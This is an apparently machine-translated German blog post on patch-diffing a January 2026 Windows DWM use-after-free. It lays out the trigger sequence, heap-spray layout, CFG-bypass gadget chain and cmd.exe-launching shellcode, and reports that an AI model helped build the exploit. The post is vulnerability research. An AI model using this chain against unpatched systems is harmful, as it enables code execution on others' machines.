Intro
Das Patch-Diffing fasziniert mich schon lange. Ich denke, ein Teil davon hat mit dem Wettlauf gegen die Zeit zu tun, mit dem Rückgängigmachen, Ausnutzen und dem Versuch, diesen „1-Tages“-Exploit-Status zu erreichen. Für fortgeschrittene Windows-Ziele haben Valentina Palmiotti und Ruben Boonen bereits vor fast 3 Jahren bewiesen , dass dies möglich war. Aber sie gehören zu den talentiertesten Exploit-Entwicklern der Welt. Können LLM-Abschlüsse die Leistungsfähigkeit von uns Normalsterblichen anheben? Zum Glück, und vielleicht auch ein bisschen beunruhigend, lautet die Antwort ja.
Die Jagd
Als das Bulletin für den Patch-Dienstag im Januar 2026 veröffentlicht wurde, begann ich mit meiner Suche, um eine der behobenen Sicherheitslücken zu identifizieren und (hoffentlich) einen funktionierenden Exploit dafür zu entwickeln. Ganz oben auf der Liste der Ziele standen alle Schwachstellen, von denen bereits bekannt war, dass sie in freier Wildbahn ausgenutzt wurden. Die im Januar veröffentlichten Patches enthielten eine Sicherheitslücke im Desktop Window Manager (DWM), die ein Informationsleck in freier Wildbahn ermöglichte und meine Aufmerksamkeit erregte. Es enthielt außerdem eine zweite DWM-Schwachstelle, die zu einer lokalen Rechteausweitung führen konnte. Historisch gesehen war DWM ein beliebtes Ziel für die Eskalation lokaler Privilegien. Manchmal kann es schwierig sein, die exakt gepatchte Komponente zu identifizieren, aber für DWM ist dwmcore.dll immer eine sichere Wahl.
Nachdem Ghidra mit den Dateien trainiert und für jede Funktion BSim-Vektoren extrahiert wurden, lassen sich die Unterschiede zwischen ihnen recht einfach hervorheben. Hinzu kommt, dass viele von Microsoft behobene Sicherheitslücken mit neuen Funktionsflags einhergehen. Selbstverständlich erledigte Opus 4.5 die Diff-Analyse im Handumdrehen und identifizierte innerhalb weniger Minuten eine der Schwachstellen.
======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll
======================================================================
----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
dwmcore_vuln.dll dwmcore_patched.dll Sim Jaccard
----------------------------------------------------------------------------------------------------
FUN_1802e7842 FUN_1802e7842 0.1191 0.0632
FUN_1802e92d6 FUN_1802e92d6 0.1470 0.0722
FUN_1802e5faa FUN_1802e5faa 0.1741 0.0769
~CDelegatedInkCanvas ~CDelegatedInkCanvas 0.7556 0.6047
GetBufferedOutputTransformed GetBufferedOutputTransformed 0.7628 0.6154
FrameStarted FrameStarted 0.7833 0.6429
~CSynchronousSuperWetInk ~CSynchronousSuperWetInk 0.8018 0.6667
FUN_1802f5aa2 FUN_1802f5aa2 0.9127 0.8393
FUN_1802f57d2 FUN_1802f5d72 0.9127 0.8393
======================================================================
An dieser Stelle muss ich sagen, dass die Entwicklung eines funktionsfähigen Exploits schmerzlich länger gedauert hat, als ich gehofft hatte. Ich habe viele lange Nächte und Wochenenden damit verbracht, das Modell immer wieder anzustupsen und weiterzuentwickeln. Das lag größtenteils an meiner mangelnden Vertrautheit mit der Fehlerklasse und dem zugehörigen Subsystem. Letztendlich konnten wir uns durchsetzen und RCE von niedrigen Berechtigungen in DWM und SYSTEM erlangen. Dabei entdeckte ich mehrere neuartige Exploitation-Techniken, wie den GetRECT-Spray, neue Gadget-Ketten und einen DWM-zu-SYSTEM-Pfad. Mit diesen Techniken (und einigen anderen Werkzeugen) und neueren Modellversionen wie Opus 4.6 verkürzte sich die Zeitspanne von der Entdeckung einer UAF-Schwachstelle in DWM bis zur funktionsfähigen Ausnutzung von 3 Wochen auf wenige Stunden.
Der Käfer
Die Schwachstelle ist ein Use-After-Free in CSynchronousSuperWetInk::~CSynchronousSuperWetInk. Der Destruktor entfernt das Objekt aus CSuperWetInkManager abhängig vom Rückgabewert von IsSuperWetCompatible().
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
this->vtable = &_vftable_;
bool bVar2 = IsSuperWetCompatible(this);
if (bVar2) {
CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
}
// ... cleanup continues
}
Der anfällige Destruktor in dwmcore.dll Version 10.0.26100.7309.
IsSuperWetCompatible Condition
bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
this->clipEntry != NULL && this->comObject != NULL) {
return true;
}
return false;
}
Die IsSuperWetCompatible-Bedingung in dwmcore.dll Version 10.0.26100.7309.
Die Funktion gibt true nur dann zurück, wenn LookupMode gleich 2 ist oder notifier1 gesetzt ist UND sowohl clipEntry als auch comObject nicht null sind.
Der Käfer
Ein Angreifer kann:
- Registrieren Sie ein
CSynchronousSuperWetInkbeim Manager (erfordertLookupMode=2währendDraw()) - Ändere
LookupModein 0 überCMD_SET_PROPERTY - Auslöserzerstörung durch
CMD_RELEASE_RESOURCE IsSuperWetCompatible()Gibt FALSE zurück →RemoveSource()wird übersprungen- Ein baumelnder Zeiger bleibt zurück in
CSuperWetInkManager::localStrokesVector
Wenn DWM diesen Vektor später durchläuft (z. B. in DirtyActiveInk), wird die Vtable des freigegebenen Objekts dereferenziert, was zu einer kontrollierten Codeausführung führt.
Die Lösung
Der Patch fügt ein Feature-Flag hinzu (Feature_1732988217). Wenn RemoveSource() aktiviert ist, wird es bedingungslos aufgerufen, unabhängig von IsSuperWetCompatible(). Dadurch wird sichergestellt, dass das Objekt bei der Zerstörung stets ordnungsgemäß vom Manager abgemeldet wird, wodurch der hängende Zeiger beseitigt wird.
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
*(undefined ***)this = &_vftable_;
bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
if (!bVar2) {
bVar2 = IsSuperWetCompatible(this);
if (!bVar2) goto LAB_1802a9b1a; // Skip RemoveSource only if feature disabled AND !compatible
}
CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
// ... cleanup continues
}
Der korrigierte Destruktor in dwmcore.dll Version 10.0.26100.7623.
Die Ausbeutung
Der UAF kann von einer regulären Benutzermodusanwendung über die DirectComposition-API ausgelöst werden. Für den Angriff sind keine besonderen Berechtigungen erforderlich.
Voraussetzungen
- D3D11/DXGI-Infrastruktur: Erstellen Sie ein D3D11-Gerät mit BGRA-Unterstützung und einer Swap-Chain für ein sichtbares Fenster.
- DirectComposition Device: Initialisierung über
DCompositionCreateDevice()mit dem DXGI-Gerät. - NtDComposition Syscall Access: Hook oder direkter Aufruf von
NtDCompositionProcessChannelBatchBufferundNtDCompositionCommitChannelüberwin32u.dll, um rohe Batch-Pufferbefehle einzufügen.
Auslösesequenz
Schritt 1: Tintenspur erstellen (CSynchronousSuperWetInk zuweisen)
Führe eine Abfrage IDCompositionInkTrailDevice vom DirectComposition-Gerät durch und rufe dann CreateDelegatedInkTrailForSwapChain() oder CreateDelegatedInkTrail() auf. Dies allokiert ein CSynchronousSuperWetInk -Objekt (Ressourcentyp 0xa8) im Heap von dwm.exe.
Schritt 2: Visual erstellen und LookupMode=2 festlegen
Batch-Pufferbefehle einfügen an:
- Erstelle ein
CSuperWetInkVisual(Typ0xa5) mitCMD_CREATE_RESOURCE(0x02) - Visuelle Verbindung zur Tintenquelle herstellen:
CMD_SET_REFERENCE(0x10) mit propId0x34 - Setze
LookupMode=2auf der Tintenquelle überCMD_SET_PROPERTY(0x0B) mit propId10 - Verbindung zum Kompositionsbaum:
CMD_SET_REFERENCEzu den Handles 1 und 2 (Kompositionsziel / Marshaller) mit propId0x34
LookupMode=2 stellt sicher, dass IsSuperWetCompatible() während Draw() TRUE zurückgibt, wodurch das Objekt bei CSuperWetInkManager::localStrokesVector registriert wird.
Schritt 3: Renderframes zur Registrierung beim Manager
Mehrere Frames (IDXGISwapChain::Present) anzeigen und DirectComposition-Änderungen übernehmen. Dies löst die Render-Schleife von DWM aus, welche die Ink-Infrastruktur aufruft und den CSynchronousSuperWetInk -Zeiger im internen Vektor des Managers registriert.
Schritt 4: LookupMode=0 setzen (Entfernungsprüfung umgehen)
Füge CMD_SET_PROPERTY ein, um LookupMode in 0 zu ändern. Nun gibt IsSuperWetCompatible() FALSE zurück, weil:
if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)
Bei LookupMode = 0 und ohne Benachrichtigung ist die erste Bedingung nicht erfüllt.
Schritt 5: Tintenspur freigeben (Hängender Zeiger erstellen)
- Visuelle Referenzen trennen:
CMD_SET_REFERENCEmit refHandle=0 für alle Verbindungen - Die
IDCompositionDelegatedInkTrail-Schnittstelle freigeben
Wenn der Destruktor ~CSynchronousSuperWetInk ausgeführt wird:
- Es ruft
IsSuperWetCompatible()auf, was FALSE zurückgibt (LookupMode=0). RemoveSource()wird ÜBERSPRUNGEN- Das Objekt wird freigegeben, aber sein Zeiger bleibt in
CSuperWetInkManager::localStrokesVector
Schritt 6: DirtyActiveInk auslösen (Use-After-Free)
Die Anzeige der Frames wird fortgesetzt und das Fenster wird ungültig gemacht. Die Kompositionsschleife von DWM ruft CSuperWetInkManager::DirtyActiveInk() auf, welche localStrokesVector durchläuft und den verwaisten Zeiger dereferenziert:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
Crashverhalten
Ohne Heap-Spray stürzt DWM beim Zugriff auf freigegebenen Speicher ab:
# Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
Wird der freigegebene Speicher von einem anderen Objekt (z. B. CInteractionTrackerScaleAnimation) wiederverwendet, tritt der Absturz an einer unerwarteten Stelle in der virtuellen Speichertabelle auf:
kd> dps rcx
00000201`fbef65f0 00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
Durch die Kontrolle darüber, welche Daten den freigegebenen Speicherplatz wieder beanspruchen, kann ein Angreifer eine gefälschte vtable erstellen und über den virtuellen Aufruf bei vtable+0x50 beliebigen Code ausführen.
Haufenspray
Um die UAF auszunutzen, müssen wir die freigegebene CSynchronousSuperWetInk -Zuweisung mit vom Angreifer kontrollierten Daten, die eine gefälschte vtable enthalten, zurückgewinnen. Dieser Abschnitt dokumentiert die CRegionGeometry RECT-Pufferspray-Technik, die wir als GetRECT bezeichnen.
Eigenschaften des Zielobjekts
| Eigentum | „Value“ (Wert) |
|---|---|
| Objekt | CSynchronousSuperWetInk |
| Größe | 0x120 (288 Bytes) |
| Zuteilungsfunktion | DefaultHeap::AllocClear → GetProcessHeap() |
| LFH- Eimer | 34 (273-288 Byte-Bereich) |
| Slots pro Teilsegment | 57 |
Sprühprimitiv: CRegionGeometry RECT-Puffer
Das Spray verwendet CRegionGeometry Ressourcen (Typ 0x81) mit RECT-Array-Daten:
| Eigentum | „Value“ (Wert) |
|---|---|
| Ressourcentyp | 0x81 (CRegionGeometry) |
| Sprühgröße | 18 Rechtecke × 16 Bytes = 288 Bytes |
| Zuteilungsfunktion | std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288) |
| LFH-Eimer | 34, gleich dem Zielwert |
| Inhaltskontrolle | 72 int32-Werte (18 Rechtecke × 4 -Felder) |
Zuteilungskette:
dcomp.dll: SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase: CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
→ std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)
Der RECT-Puffer wird über CMD_SET_BUFFER_PROPERTY (0x0F) mit propId 5 beschrieben:
struct CmdSetResourceBufferProperty {
uint32_t cmdId; // 0x0F
uint32_t handle; // Resource handle
uint32_t propId; // 5 for RECT array
uint32_t dataSize; // 288 for 18 RECTs
// Variable-length RECT data follows (4-byte aligned)
};
Rechteckiges Layout für ein gefälschtes Objekt
Die 18 RECTs (288 Bytes) ermöglichen die vollständige Kontrolle über den freigegebenen Speicher:
struct SprayRECT {
int32_t left; // +0x00 within RECT
int32_t top; // +0x04
int32_t right; // +0x08
int32_t bottom; // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields
// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
Hilfsfunktion zum Schreiben von 64-Bit-Werten in benachbarte RECT-Felder:
static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
*lo = (int32_t)(val & 0xFFFFFFFF);
*hi = (int32_t)(val >> 32);
}
Ausbeutungsprimitiv
Die UAF liefert uns einen kontrollierten vtable-Aufruf, wobei RCX auf unser besprühtes Objekt verweist. Wenn DirtyActiveInk den hängenden Zeiger durchläuft:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)(); // call [[spray]+0x50] with RCX = spray
Anrufstandort-Stack:
00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
Status bei Versand registrieren:
RCX= Zeiger auf das besprühte Objekt (unsere kontrollierten 288 Bytes)RIP=[[spray]+0x50](Funktionszeiger aus einer simulierten vtable)
Zielfunktionsbeschränkungen
Zunächst gibt es zwei Einschränkungen hinsichtlich dessen, was wir nennen dürfen:
- Das Ziel muss in der CFG-Bitmap enthalten sein (als gültiges Aufrufziel markiert).
- Das Ziel muss einen Zeiger darauf haben (in der IAT, der vtable oder einem anderen lesbaren Speicher).
Wir können nicht direkt beliebige Adressen aufrufen; nur Funktionen, die beide Bedingungen erfüllen.
Gadget-Kette: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect
Da uns die UAF einen kontrollierten vtable-Aufruf (RIP = [[spray]+0x50], RCX = spray) ermöglicht, besteht die verbleibende Herausforderung darin, CFG-gültige Gadgets zu verketten, um die Ausführung beliebigen Codes zu erreichen. Die direkte Shellcode-Ausführung wird durch CFG blockiert, und es gibt kein Heap-Adressleck. Wir haben eine neuartige Gadget-Kette entwickelt, die beide Probleme löst, um die Codeausführung zu erreichen. Allerdings waren dafür 2 erfolgreiche Exploit-Versuche erforderlich, was die Zuverlässigkeit verringerte. Daher griffen wir auf eine bekannte öffentliche Methode zurück, die zwei Windows-System-DLL-Gadgets verwendet: __fnINSTRING (user32.dll) und CStdAsyncStubBuffer2_Disconnect (combase.dll).
Phase 1: __fnINSTRING - Kernel-Callback-Aufruf ohne Speicherleck
Der Windows-Kernel kommuniziert über die KernelCallbackTable (KCT), eine Funktionszeigertabelle, die im PEB an Offset +0x58 gespeichert ist, zurück mit dem Benutzermodus. Jeder Eintrag verweist auf einen __fn* -Handler in user32.dll. Diese Funktionen sind CFG-gültige Aufrufziele und verfügen über Zeiger auf sie im lesbaren Speicher (dem KCT selbst), wodurch beide Bedingungen erfüllt werden.
Wir setzen die gefälschte vtable auf &KCT[fnINSTRING_index] - 0x50. Wenn DirtyActiveInk [[spray]+0x50] dereferenziert, liest es den KCT-Eintrag und leitet an __fnINSTRING weiter:
[[spray]+0x50]
= [KCT_entry_addr - 0x50 + 0x50]
= [KCT_entry_addr]
= &__fnINSTRING
Der Nutzen dieser Funktion liegt darin, was __fnINSTRING intern bewirkt. Es behandelt sein Argument (unseren Sprühpuffer) als eine _CAPTUREBUF -Struktur und ruft FixupCallbackPointers auf, bevor es die innere Funktion ausführt. FixupCallbackPointers liest eine Korrekturtabelle aus dem Puffer und wandelt relative Offsets in absolute Adressen um, indem die Basisadresse des Puffers addiert wird:
// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
if (buf->guard != 0) return; // already fixed up - skip
int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
for (int i = 0; i < buf->fixupCount; i++) {
int32_t* target = (int32_t*)((char*)buf + fixups[i]);
*(uint64_t*)target += (uint64_t)buf; // relative → absolute
}
}
Dadurch entfällt die Notwendigkeit eines Heap-Adresslecks. Wir betten relative Offsets in den Spray-Puffer ein und FixupCallbackPointers wandelt diese zur Laufzeit mithilfe der Adresse des Puffers in absolute Zeiger um. Nach der Korrektur sendet __fnINSTRING den inneren Funktionszeiger an +0x48 mit den Argumenten an +0x28 (RCX), +0x30 (EDX), +0x38 (R8) und +0x50 (R9).
Wir setzen die innere Funktion auf CStdAsyncStubBuffer2_Disconnect.
Phase 2: CStdAsyncStubBuffer2_Disconnect - Zwei verkettete Vtable-Aufrufe
CStdAsyncStubBuffer2_Disconnect wird von combase.dll exportiert, wodurch es CFG-gültig ist und eine stabile Adresse besitzt. Die Disassemblierung offenbart ein nützliches Primitiv: zwei aufeinanderfolgende vtable-Dispatches mit erhaltenen Argumentregistern:
; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV RBX, RCX ; save this
MOV RCX, [RCX-8] ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ skip1
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x20] ; vtable[4]
CALL guard_dispatch_icall ; CALL #1: [[this-8]+0x20] ← VirtualProtect
skip1:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ skip2
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x10] ; vtable[2]
CALL guard_dispatch_icall ; CALL #2: [[[this+0x10]]+0x10] ← shellcode
skip2:
ADD RSP, 0x20
POP RBX
RET
RDX, R8 und R9 bleiben bei beiden Aufrufen erhalten und werden von der Argumentkonfiguration von __fnINSTRING unverändert übernommen. Dies gibt uns die volle Kontrolle über die ersten drei Argumente beider vtable-Aufrufe.
Vtable-Aufruf Nr. 1: VirtualProtect → RWX
Wir konstruieren ein selbstreferenzielles Fake-Objekt an der Position +0xC8 im Spray-Puffer: [+0xC8] zeigt auf sich selbst (nach der Korrektur), sodass beim Dereferenzieren [RCX] → [RCX+0x20] die Adresse von VirtualProtect aus +0xE8 gelesen wird. Die Argumente (die aus dem Dispatch __fnINSTRING erhalten geblieben sind) lauten:
| Registrieren | „Value“ (Wert) | Zweck |
|---|---|---|
| RCX | base+0xC8 (fake_obj_1) | lpAddress (Start des Sprühpufferbereichs) |
| RDX | 0x1000 | dwSize |
| R8 | 0x40 | flNewProtect (PAGE_EXECUTE_READWRITE) |
| R9 | Basis+0xC0 | lpflOldProtect (Ausgabeslot im Sprühpuffer) |
Nach diesem Aufruf wird die Speicherseite des Spray-Puffers mit RWX markiert und die CFG-Bitmap aktualisiert, um die Ausführung aus diesem Bereich zu ermöglichen.
Vtable-Aufruf Nr. 2: Inline-Shellcode
Nachdem VirtualProtect zurückkehrt, lädt Disconnect [this+0x10] in RCX für den zweiten vtable-Dispatch:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ skip2 ; non-zero → take the call
MOV RAX, [RCX] ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV RAX, [RAX+0x10] ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall ; call base+0xD0
Die Zeigerkette wird Schritt für Schritt aufgelöst:
[this+0x10]=[base+0x90]=base+0xA0(fake_obj_2)[RCX]=[base+0xA0]=base+0xA8, vtable-Zeiger von fake_obj_2 (nach der Korrektur)[RAX+0x10]=[base+0xB8]=base+0xD0, dritter Eintrag von vtable_2, der auf unseren Shellcode verweist.
Der letzte CALL guard_dispatch_icall -Aufruf führt zu base+0xD0, unserem Inline-Shellcode, der dank des vorhergehenden VirtualProtect-Aufrufs nun sowohl ausführbar als auch CFG-konform ist.
Shellcode-Layout
Der Shellcode ist in zwei Phasen unterteilt, da sich die VirtualProtect-Adressdaten an Position +0xE8 befinden (die von Aufruf #1 als vtable_1[0x20] verwendet werden), wodurch eine Lücke in der Mitte unseres ausführbaren Bereichs entsteht:
Phase 1 (+0xD0, 22 Bytes): Speichert RCX (Basis+0xA0) in RBX für spätere Adressarithmetik, allokiert Schattenspeicher, lädt SW_SHOW (5) in RDX, lädt die absolute Adresse von WinExec über movabs RAX und springt dann über die 8-Byte-Datenlücke bei +0xE8.
mov rbx, rcx ; save base+0xA0 for address math
sub rsp, 0x28 ; shadow space
push 5
pop rdx ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp +0x0A ; skip over +0xE8 data → land at +0xF0
Phase 2 (+0xF0): Ruft WinExec mit einem RIPrelativen Zeiger auf die "cmd.exe\0" -Zeichenkette auf, die am Ende des Shellcodes eingebettet ist, entschärft den Spray für einen sicheren Wiedereintritt und führt dann eine Stack-Korrektur durch, um direkt zur Kompositionsschleife von DWM zurückzukehren:
lea rcx, [rip+0x22] ; rcx = &"cmd.exe"
call rax ; WinExec("cmd.exe", SW_SHOW)
; Defuse: rewrite fake vtable so re-entry is harmless
lea rax, [rbx+0x78] ; rax = address of the ret below
mov [rbx-0x48], rax ; [base+0x58] = ret_gadget
lea rax, [rbx-0x98] ; rax = base+0x08
mov [rbx-0xA0], rax ; [base+0x00] = base+0x08 (new fake vtable)
; Stack fixup: skip Disconnect + __fnINSTRING return frames
add rsp, 0xB8 ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor eax, eax ; zero return value
ret ; return directly to DWM composition loop
; "cmd.exe\0" embedded here
Die add rsp, 0xB8 verbessert die Zuverlässigkeit. Ein naiver add rsp, 0x28 würde zu CStdAsyncStubBuffer2_Disconnect zurückkehren, welches dann zu __fnINSTRING zurückkehren würde, welches NtCallbackReturn aufruft. Dieser Kernel-Callback-Rückkehrpfad kann im Kontext eines abgefangenen Aufrufs fehleranfällig sein. Durch Hinzufügen eines zusätzlichen 0x90 zur Stapelanpassung überspringt der Shellcode beide Zwischenframes vollständig und kehrt direkt zum Aufrufer von DirtyActiveInk in der DWM-Kompositionsschleife zurück.
Sichere Rückkehr: Entschärfung des Sprays
DWMs DirtyActiveInk kann den hängenden Zeiger mehr als einmal durchlaufen. Ohne Entschärfung würde jeder erneute Eintritt die gesamte Kette erneut auslösen und zum Absturz führen. Der Shellcode überschreibt den Vtable-Zeiger des Sprays, sodass nachfolgende Dereferenzierungen einen harmlosen Pfad nehmen:
[base+0x00]wird mitbase+0x08überschrieben (neue gefälschte vtable)[base+0x58]wird an die Adresse einerret-Anweisung überschrieben
Beim Wiedereintritt: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. Der vtable-Aufruf kehrt sofort zurück. __fnINSTRING wird nie erneut aufgerufen, da die vtable nicht mehr auf den KCT-Eintrag verweist.
Komplette Sprühanlage
Der vollständige 288-Byte-Sprühpuffer (18 Rechtecke) nach FixupCallbackPointers:
| Offset | Größe | Inhalt | Zweck |
|---|---|---|---|
| +0x00 | 8 | KCT_Eintrag - 0x50 | Gefälschte vtable → __fnINSTRING |
| +0x08 | 4 | 8 | Reparaturanzahl |
| +0x18 | 4 | 0x58 | Korrekturtabellenversatz |
| +0x20 | 8 | Basis (überarbeitet) | Wache (blockiert Reparaturen) |
| +0x28 | 8 | base+0x80 (korrigiert) | RCX → Trennen this |
| +0x30 | 4 | 0x1000 | EDX → VirtualProtect dwSize |
| +0x38 | 8 | 0x40 | R8 → PAGE_EXECUTE_READWRITE |
| +0x48 | 8 | &Trennen | Innerer Funktionszeiger |
| +0x50 | 8 | base+0xC0 (korrigiert) | R9 → lpflOldProtect |
| +0x58 | 32 | Korrekturtabelle (8 Einträge) | Zu patchende Offsets |
| +0x78 | 8 | base+0xC8 (korrigiert) | [this-8] → fake_obj_1 |
| +0x80 | 8 | (unbenutzt) | Basis this trennen |
| +0x90 | 8 | base+0xA0 (korrigiert) | [this+0x10] → fake_obj_2 |
| +0xA0 | 8 | base+0xA8 (korrigiert) | fake_obj_2 vtable |
| +0xB8 | 8 | base+0xD0 (korrigiert) | vtable_2[0x10] → Shellcode |
| +0xC0 | 4 | (Ausgabe) | VirtualProtect lpflOldProtect |
| +0xC8 | 8 | base+0xC8 (korrigiert) | Selbstreferenzielle vtable (fake_obj_1) |
| +0xD0 | 22 | Shellcode-Phase 1 | Register speichern, WinExec laden, jmp |
| +0xE8 | 8 | &VirtualProtect | vtable_1[0x20] Daten |
| +0xF0 | 48 | Shellcode-Phase 2 | WinExec + defuse + stack fixup + "cmd.exe\0" |
Vollständige Kettenübersicht
DirtyActiveInk iterates dangling pointer
→ [[spray+0x00]+0x50] = __fnINSTRING(spray)
→ FixupCallbackPointers: 8 relative offsets → absolute
→ Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
→ Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
→ Spray buffer page is now RWX, CFG bitmap updated
→ Vtable call #2: shellcode at base+0xD0
→ WinExec("cmd.exe", SW_SHOW)
→ Defuse: rewrite vtable for safe re-entry
→ Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
→ RET directly to DWM composition loop
→ DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
Der DWM-Prozess wird als DWM-Benutzer mit Systemintegrität ausgeführt. Bisherige öffentliche Verfahren zur Erlangung von SYSTEM-Rechten beinhalten typischerweise das Abfangen von Funktionszeigern, die in privilegierte Clientprozesse wie LogonUI oder Consent eingebunden sind. Allerdings scheint diese Technik kürzlich behoben worden zu sein, da der gemeinsam genutzte Abschnitt nun schreibgeschützt abgebildet ist. Wir haben einen neuen, alternativen Weg zu SYSTEM entwickelt, verzichten aber vorerst darauf, die Technik zu veröffentlichen.
Abschließende Gedanken
Die heutigen Modelle sind in hohem Maße leistungsfähig bei Aufgaben, die in der Vergangenheit ein tiefes, über viele Jahre erworbenes Fachwissen erforderten. Dazu gehören beispielsweise Reverse Engineering, das Aufspüren von Sicherheitslücken und die Entwicklung von Exploits. Ihre Fähigkeiten sind noch uneinheitlich und können sich in diesen Bereichen noch nicht mit den Besten der Welt messen. Der Fortschritt bei den Modellen scheint sich jedoch derzeit nicht zu verlangsamen. Dies schafft Chancengleichheit für die Verteidiger, erhöht aber gleichzeitig die Fähigkeiten der Angreifer. Obwohl es schon immer ein Katz-und-Maus-Spiel zwischen Gegnern gegeben hat und dies insofern nichts Neues ist, haben Angreifer zumindest kurzfristig einen asymmetrischen Vorteil, diese Werkzeuge zum Schaden einzusetzen. Angreifer können schneller agieren, ohne sich groß um die Sicherheit von KI-Systemen sorgen zu müssen. Die Verteidiger müssen KI offensiv gegen ihren Code (auf Schwachstellen), Sicherheitsprodukte (auf Erkennungslücken) und ihre Unternehmen (Angreifer-Emulation) einsetzen, um Schwächen zu finden und die Verteidigung zu verbessern, bevor die Angreifer dies tun. Leider sind es möglicherweise die kleinen Organisationen ohne Sicherheitsteams, die kurzfristig am stärksten unter den Folgen leiden werden. Ich hoffe, dass die Sicherheitsgemeinschaft langfristig gemeinsam mehr Geld für offensive und defensive Forschung ausgeben kann als die Angreifer und dass wir diese Ära in einer besseren Position verlassen, als wir sie begonnen haben.
